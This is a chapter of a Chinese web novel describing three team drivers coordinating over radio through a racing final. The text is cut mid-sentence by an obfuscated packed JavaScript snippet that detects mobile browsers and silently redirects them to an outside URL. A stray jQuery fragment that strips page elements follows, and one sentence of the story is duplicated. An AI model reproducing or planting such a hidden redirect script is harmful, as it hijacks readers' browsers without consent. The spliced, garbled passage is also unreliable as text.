濟南老梁 作品
372.耦托納壓卡決賽～第一階段（七）
「一切準備就緒嗎？」庫瑪尬伊·希娜的聲音透過無線電，平穩而冷靜。即使引擎的轟鳴如同巨獸在胸腔咆哮，她的語調仍未有絲毫起伏。
「是的，希娜隊長，胎壓、引擎溫度、電子系統都在正常範圍內。」雅瑪紮奇·希奧塔快速回應，他的語氣總帶著些許認真中帶點興奮的語調。
「……我也沒問題。」托摩科的聲音帶點猶豫，但比昨天平穩許多，「但……今天的氣流跟昨天不太一樣，有一點反方向。」
「嗯，有感覺到。小心轉角區域會受到側風影響，特別是第二段高架區。」希娜稍稍拉緊安全帶，望著眼前筆直的起跑直線，左手微微搭上排檔桿，右手握住方向盤。
「西風比昨天強，大概快兩級。我會幫妳偵測空氣壓縮帶的位置。」希奧塔補充。
「收到。三人間保持同步，記得目標不是個人成績，而是整體積分。只要我們這場穩住，就能追上總排名。」希娜說完，微微閉眼吸了一口氣，調整呼吸節奏，將思緒集中。
此時，倒數燈熄滅，下一秒，一聲震耳欲聾的砲響打破寧靜，宛如天際裂開的劈雷。
時間，6月21日，西部標準時間09:00整，首屆耦托納壓卡選拔賽，決賽第三天第一場比賽，正式開始。
車胎迅猛咬地，三道車影如利箭射出，震動著地面的每一寸瀝青。
希娜以極簡的動作完成起跑，不浪費任何一分力氣。她的車輛設定為中段加速型，起跑瞬間不見得最強，但只要過了四秒鐘，就會展現驚人的穩定推進力。
托摩科則稍微保守，選擇跟在希娜的右側一點五個車身的距離。她的車體配置偏向穩定與操控，適合中段至後段的穩定輸出。
希奧塔則最具爆發力，他的車體調校以前驅導向為主，起跑瞬間便拉出小幅差距，但也必須更加謹慎控制彎道時的重心轉移。
三人形成一個斜角隊形，在起跑後迅速拉開車速區間，宛如燕形飛梭劃破晨光。
高速的風聲灌入車艙，即使再完美的隔音也無法完全消弭。希娜一邊觀察前方路面，一邊聽著車體細微震動聲。
「轉速穩定，四檔推進。」她在無線電裡說。
「我第五檔轉速壓在上緣，等一下會提前降檔以備彎道。」希奧塔語氣冷靜。
「托摩科，報告你的位置。」
「我還在妳右後一點點，跟得上……剛剛後輪有點浮，不過我控制住了。」
「好，我們準備進入第一段下切彎，位置轉換為‘左－中－右’，我在中間。」希娜的眼神銳利，語調不容置疑。
第一段下切彎如同一道弧形裂口，掀開地面的平衡。進入這個角度稍大的連續彎時，若入彎速度稍快，就會因重心偏移而導致車尾飄滑；若過慢，則會被彎道自然甩出理想線。
希娜帶頭入彎，車頭輕微下壓，讓整個車體像是伏低的獵豹，緊貼地面滑過外圈邊線。她的操作風格極其乾淨，過彎幾乎沒有多餘的轉向與修正。
托摩科則顯得保守許多，略慢半拍進入，使用更大的弧度轉入內圈，但卻因此減少了速度損耗，成功維持住線位。
「內側沒人，穩住就好……我會在下一段幫妳打開線。」希奧塔貼著最外圈，整台車滑出一道優美弧線，在轉角點閃電般壓入中心。
「我看到妳的位置了。」托摩科穩穩咬住油門。
當他們順利通過第一段下切彎，緊接著進入一段連續高架直線。這段路平坦但風勢強勁，左右兩邊無建築遮蔽，成為橫風最集中的區域。
「現在風速上升了……小心偏移。」希奧塔提醒。
「我會用左側外胎增加抓地。」希娜立刻調整懸吊設定，左前輪微壓，加強與路面的接觸面積。
「托摩科，妳若感覺浮，就別硬扛。」希娜補充。
「了解……不過我想試試看前輪壓力曲線的調整。」托摩科的語氣帶著一絲堅定，像是終於鼓起勇氣般的自我挑戰。
希娜沒有回應，只是專注前方的風壓與氣流變化。高架末段是一個微彎，需要在風中尋找那條僅存的理想路線。
風聲夾雜著金屬共鳴聲在耳際轟響，三人沒有多說一句話，各自進入最高度集中狀態。
此時，前方突然出現一道小型拋跳段。路面因地形隆起出現微幅抬升，若處理不當，將會導致車體彈跳。
「托摩科，小心第六段！」希奧塔的聲音帶著罕見急促，「妳車速太快了，小幅煞車！」
「煞車了！」托摩科反應極快，右腳立刻踏下煞車板，同時左手補上方向修正。
車體在接觸拋跳段時略微彈起，但落地瞬間，她已經將車身修正為平衡狀態。
「漂亮。」希娜冷冷地誇了一句，聲音中卻藏不住一絲微笑。
他們來到後段轉入工業區的區域，這裡路面鋪設較舊，顛簸明顯增加。雖然直線段較長，但高低起伏需要極強的懸吊耐性與車手反應。
「我會從右側超前，幫妳們破風。」希奧塔開始提速，從隊形右翼漸漸切進。
「小心，我感覺右後方風壓有變化。」希娜立刻察覺異樣。
果不其然，工業區一角的倉庫排氣孔正在持續噴出熱氣，將當地氣流打亂。希奧塔的車身在高速切入時產生側傾。
「我還撐得住……」他咬牙穩住方向盤，「會穩住的。」
「如果感覺控制不了，立即退位。」希娜的命令果斷。
「不用。」他低聲回道，將重心略往車體左側傾斜，利用反壓拉回平衡，終於重新對準軸線。
托摩科也順勢在這一段找回節奏，開始略略逼近希娜與希奧塔的位置。
三人再度形成一個「箭頭」型隊形，以最具效率的空氣動力學姿態，穿越狹窄的巷道段。
他們還有最後兩公里的距離，正是全場最具挑戰性的雙連彎地帶。這裡結合了陡下坡與視覺死角，稍有不慎便可能錯判距離。
「我先衝進去。」希奧塔毫無猶豫，「如果我卡住，妳們就用左線突破。」
「不，這段我帶頭。」希娜說完已經切至前方，壓入第一個下坡彎的制動點。
「托摩科，緊跟我的右後位，角度不要太深。」
「是！」她回得堅定，毫不遲疑。
三車瞬間完成隊形切換，在彎道之中以近乎教科書的準確姿態通過每一道彎心。
風聲之中，只有引擎的呼嘯，以及三人之間那斷斷續續、卻如生命線般連結彼此的對話。
勝負的界線尚未顯現，但這一場，早已無懈可擊。
三車瞬間完成隊形切換，在彎道之中以近乎教科書的準確姿態通過每一道彎心。從外界看去，他們就像一支經年鍛鍊、默契無間的單位，車與車之間的距離穩定如度量衡的刻度，不偏不倚，甚至讓觀察者懷疑這是否經過精密的自動控制。
但此刻，車內每一名駕駛員的掌心早已沁出冷汗，方向盤如同與生俱來的延伸，身體與車輛彷彿早已合一。
「彎道完了，接下來是雙層立體交錯段……要怎麼切進？」希奧塔的聲音透過無線電傳來，語氣仍保持著那份一貫的克制，卻隱隱透出一絲興奮。
「我會走上層內線。」希娜簡短地回答，眼神緊盯著遠方正朝他們逼近的交錯高架區域。
「上層風壓比較穩，但視野較窄。」托摩科輕聲補充。
「妳走下層外道。我走正中。」希娜已經做好判斷，語氣沒有半點遲疑。
「了解。」
三車再次進行隊形變化，這一次不是像先前的箭形，而是同時分散，各自朝著立體交錯的三個不同入口衝刺——上、中、下，各自分進合擊。
希奧塔的車先進入中央道，這是一條筆直但布滿彈跳段的道路，路面輕微起伏，速度一快就容易跳動。他略略鬆開油門，用前懸壓住車頭，降低跳動頻率。
托摩科的車則順著下層滑行。這段路有些許傾斜，路幅較寬，卻時常伴隨突如其來的陰影區與明暗交錯的視覺錯亂。她早就習慣這類情況，將眼神略往焦點前延伸十公尺，讓整體動態視覺維持平穩。
而希娜的車最先爬升進入上層。這裡是風最強的地方，也是轉速要求最苛刻的路段之一。車體略為輕浮，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743648|132887||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
她卻利用車側導流設計調整車身姿勢，將整體壓回路面。
三車在立體交錯之後再度會合於下一段狹長下坡道。彷彿經歷一次高空解體與重組般，他們以不同角度切入，再同時間從三條通道回歸為一條直線。
「整合完成。」希奧塔率先報告。
「我們的間距還行。」托摩科緊跟其後。
「下一個重點是曲面回彎。路幅減少，我會帶進內側，記得切換煞車模式。」希娜迅速下達指令。
彎角出現的速度遠比預期快。那是一道逆曲面，整條道路略向外側下傾，但彎道卻向內環繞。稍有不慎便會因離心力被甩出曲線之外。
「我開始煞車！」托摩科的語調略高，「方向有點飄……！」
「將左後輪的制動比調高兩％，再輕踩煞車修正。」希娜冷靜下達建議。
「我……調整了……控制住了！」
「很好。」希奧塔的聲音帶著微笑，「看妳這樣控制，我都想跟妳換位置了。」
「我才不要！」托摩科回話時聲音帶笑，但眉眼間仍一絲不苟，死盯著曲面的最後一道彎心。
三人順利通過逆曲面彎。此時，他們的車輛雖在全速奔馳，但每一刻都像被定格於精密的數據表之中，每個動作都可成為教材範例。
下一段是所謂的「遮蔽區」，兩側均有高牆，空氣流動受限，導致內部氣壓與溫度迅速上升，像是一條氣體密室。
「我進遮蔽區了……空氣阻力忽然強了。」希奧塔的聲音低了幾度。
「風沒流出去……這裡像個高壓室。」托摩科的回報緊跟而至。
「注意溫度上升，輪胎壓力會有變化。」希娜的語氣更冷靜，調整內部溫控裝置，讓駕駛艙內維持在標準範圍。
三車持續前進，在遮蔽區的壓力之下，引擎聲微微上調，伴隨著每秒鐘推進近七十公尺的速度，他們彷彿正以肉身對抗物理極限。
通過遮蔽區之後，一段意外寬敞的城市道路展現在眼前，這是所謂的「迷光段」。
城市反光鏡大量設置於道路兩側，日照反射之下，眼前變成一片鋪滿銀光的視覺幻境。這段路唯一的困難，就是「看不到」。
「妳們看得清楚嗎？」希奧塔主動問道。
「只能看光影差，不能靠顏色辨別線道……不過我有訓練過這一段。」托摩科語氣堅定，「我可以……撐得住。」
「很好，照既定路線走，我會先進入中段，測量反射角的變化。」希娜的眼睛幾乎完全睜開，盯著前方反射的光影，利用細微明暗差判斷路幅。
三車在這段光影錯亂的直線上，像三支掠過湖面不落痕跡的箭矢，精準而迅捷地劃破迷光。
光影中，每輛車都彷彿化作幻影，但駕駛者的意志比任何物質都要具象而真實。他們不是在憑感覺駕駛，而是在憑經驗、技術與決斷活著。
最後一段彎道來臨之前，是一個隱藏的小斜坡。這段起伏幾乎不被注意，卻會對車身重心造成顯著影響。
「我感覺車尾有點漂。」托摩科略略皺眉。
「左後懸吊沒跟上……輕減速，別讓車身進入振盪。」希奧塔快速判斷。
「妳可以的，托摩科。」希娜這一次沒有給指令，只是這麼說了一句。
托摩科咬緊牙根，雙手牢牢握住方向盤，不再懷疑、不再徬徨。
她穩穩地，像經歷過無數夜晚訓練的機械那般，讓車身滑過斜坡的顛簸，平穩落地。
「我通過了。」她低聲說，彷彿對自己，也對另外兩人。
「很好。」希奧塔的聲音像微風拂過。
終點前的最後一段直線，他們三人已經各自達到臨界速度，雖然相對排名未必完美，但整體成績穩定，彼此距離縮至最小。
在這最後一刻，三人都沒有再開口。他們都知道，這不是屬於語言的瞬間，而是金屬與速度、神經與意志之間的純粹對話。
引擎聲劃破最後的空氣阻力，輪胎摩擦帶起細微煙塵，他們穿越那無形的終點線——
——而成績也在隨後公布：
庫瑪尬伊·希娜：第四名，7分
科吉瑪·托摩科：第五名，6分
雅瑪紮奇·希奧塔：第六名，5分